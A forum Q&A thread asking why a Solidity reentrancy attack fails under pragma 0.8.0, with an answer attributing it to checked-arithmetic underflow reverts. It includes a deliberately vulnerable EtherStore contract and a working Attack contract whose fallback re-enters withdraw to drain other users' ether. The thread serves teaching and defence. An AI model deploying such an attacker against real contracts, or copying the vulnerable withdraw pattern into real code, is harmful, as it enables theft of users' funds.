Reentrancy hack in Solidity no longer working on pragma ^0.8.0

Question

The following contract "EtherStore" contains a vulnerability when attacked by contract "Attack". However, it appears that the same code (for both contracts) compiled in a higher version of solidity (e.g ^0.8.0) no longer allows the hack to be executed.

I've already been through the solidity docs looking for release changes on version ^0.8.0 but I wasn't able to find a clear explanation of why this is no longer possible.

You can try this code on Remix.org.

I'd appreciate any answer that would explain why this is happening.

Go to this video for a walkthrough of the code.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// pragma solidity ^0.8.0 or even pragma solidity >=0.4.0 <0.9.0;   <<< no longer works

/*
EtherStore is a contract where you can deposit any amount and withdraw at most
1 Ether per week. This contract is vulnerable to re-entrancy attack.
Let's see why.

1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
   You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
   plus 1 Ether sent from this contract).

What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.

Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
    // Withdrawal limit = 1 ether / week
    uint constant public WITHDRAWAL_LIMIT = 1 ether;
    mapping(address => uint) public lastWithdrawTime;
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount);
        require(_amount <= WITHDRAWAL_LIMIT);
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw(1 ether);
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

user_5536516 · Answer

The reason the attack is failing is mentioned in the changelog that you linked :).

Arithmetic operations revert on underflow and overflow.

When the Attack contract has stolen all funds from the vulnerable contract, i.e. when the if condition in the fallback is false, then the balance of the attacker is updated:

balances[msg.sender] -= _amount;

The thing is that this line is executed multiple times because withdraw and fallback called each multiple times. If the attacker deposited 1 ether at the beginning, this line will revert the transaction at the second call because of the underflow (1 − 1 − 1 = 2²⁵⁶ − 1 as we working with uint256).

So thanks to this language update, the reentrancy attack is not possible anymore (in this case). But of course that's not a reason not to use the checks-effects-interactions pattern :).

You can modify the code in the following way to observe that the balance of the attacker indeed underflows:

event Log(uint256 value);

…

unchecked {
    balances[msg.sender] -= _amount;
    emit Log(balances[msg.sender]);
}

Reentrancy hack in Solidity no longer working on pragma ^0.8.0

1 Answers